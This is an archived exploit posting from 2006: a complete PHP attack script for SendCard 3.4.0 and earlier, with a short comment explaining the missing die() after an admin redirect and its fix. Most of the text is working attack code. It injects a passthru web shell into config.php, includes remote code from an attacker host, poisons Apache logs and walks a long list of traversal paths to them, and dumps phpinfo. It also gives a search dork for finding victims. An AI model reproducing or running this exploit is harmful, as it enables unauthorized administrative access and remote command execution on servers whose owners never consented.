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sendcard_340_xpl.txt

sendcard_340_xpl.txt
Posted Aug 17, 2006
Authored by rgod | Site retrogod.altervista.org

SendCard version 3.4.0 and below unauthorized administrative access and remote command execution exploit.

tags | exploit, remote
SHA-256 | 75ee26461b1a9743494527d1488013f8671b535012ea009d2b763768d441b763

sendcard_340_xpl.txt

Change Mirror Download
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "SendCard <= 3.4.0 unauthorized administrative access / remote commands\n";
echo "execution exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Powered by sendcard - an advanced PHP e-card program\"\n\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path action [location] [cmd] OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to sendcard\n";
echo "action: 1 -> php injection\n";
echo " works against magic_quotes_gpc=Off\n";
echo " 2 -> arbitrary remote inclusion\n";
echo " works against allow_url_fopen=On\n";
echo " 3 -> arbitrary local inclusion\n";
echo " works regardless of php.ini settings\n";
echo " and if you succeed to include Apache logs\n";
echo " 4 -> read phpinfo()\n";
echo "[location] a remote http location with the code to include\n";
echo " needed by 2, with an ending slash\n";
echo "[cmd]: a shell command, needed by 1-3\n";
echo "Options:\n";
echo " -p[port]: specify a port other than 80\n";
echo " -P[ip:port]: specify a proxy\n";
echo "Example:\n";
echo "php ".$argv[0]." localhost /sendcard/ 1 ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 2 http://somehost.com/ ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 3 ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 > phpinfo.html\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 -p81> phpinfo.html\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 -P1.1.1.1:80 > phpinfo.html\n";
echo "note: for action 2 you need this code in http://somehost.com/sendcard_setup.php/index.html :\n";
echo "<?php set_time_limit(0);echo 'sun-tzu';passthru(\$_SERVER(\"HTTP_CLIENT_IP\");echo 'sun-tzu';die;?>\n";
die;
}

/*
software site: http://www.sendcard.org/

vulnerable code in admin/prepend.php near lines 32-34:

[*]
...
if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) {
header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF']));
}
...

should be instead:

[**]
...
if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) {
header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF']));
die; // <---------------------[! ;)]
}
...

[*] is included by all scripts in admin/ folder
this means that maybe redirection works if you try to access the admin scripts
through the browser... but what happens if you do the bad work through a script? eheheheheheh

so you can have access to all admin scripts to...
(1) inject php code in config.php through admin/setup.php script,
this works fine with magic_quotes_gpc = Off
(2) inject an arbitrary http location in config.php and go to admin/mod_stats.php
to include evil code from it, this works with allow_url_fopen=On
(3) include an arbitrary file from local resource thorugh admin/mod_stats.php,
ex: apache logs, this works regardless of php.ini settings...
(4) see phpinfo() through admin/mod_phpinfo.php to choose which exploitation method
is better eheheheheheheh

*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$c=4;$host=$argv[1];$path=$argv[2];$action=(int)$argv[3];
if ($action==2) {$location=$argv[4]; $c=5;}$cmd="";$port=80;$proxy="";
for ($i=$c; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($action<>4)
{
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($action==1)
{
$shell='suntzu");set_time_limit(0);echo "sun-tzu";passthru($_SERVER["HTTP_CLIENT_IP"]);echo "sun-tzu";die("suntzu';
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="$shell\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$packet="GET ".$p."admin/config.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $cmd\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"sun-tzu"))
{
echo "exploit succeeded...\n";
$temp=explode("sun-tzu",$html);
die($temp[1]);
}
else
{
echo "exploit failed...";
//debug
//echo $html;
}
}
elseif ($action==2)
{
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="$location\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$packet="GET ".$p."admin/mod_stats.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $cmd\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"sun-tzu"))
{
echo "exploit succeeded...\n";
$temp=explode("sun-tzu",$html);
die($temp[1]);
}
else
{
//debug
echo $html;
echo "exploit failed...see html to adjust the path...";
}
}
elseif ($action==3)
{
$CODE="<?php set_time_limit(0);echo chr(115).chr(117).chr(110).chr(45).chr(116).chr(122).chr(117);passthru(\$_SERVER[HTTP_CLIENT_IP]);echo chr(115).chr(117).chr(110).chr(45).chr(116).chr(122).chr(117);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
sleep(2);
$paths= array (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

for ($i=0; $i<count($paths); $i++)
{
echo "trying with $paths[$i] for plugin_file argument\r\n";
$packet="GET ".$p."admin/mod_plugins.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="CLIENT-IP: $cmd\r\n";
$packet.="Cookie: plugin_file=".urlencode($paths[$i]).";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"sun-tzu"))
{
echo "exploit succeeded...\n\n";
$temp=explode("sun-tzu",$html);
echo $temp[1]; die;
}
}
//if you are here...
die("exploit failed...");
}
elseif ($action==4)
{
$packet="GET ".$p."admin/mod_phpinfo.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("<!DOCTYPE",$html); //remove http headers
echo "<!DOCTYPE".$temp[1];
}
else echo ("specify an action [1-4]...");
?>

original url: http://retrogod.altervista.org/sendcard_340_xpl.html

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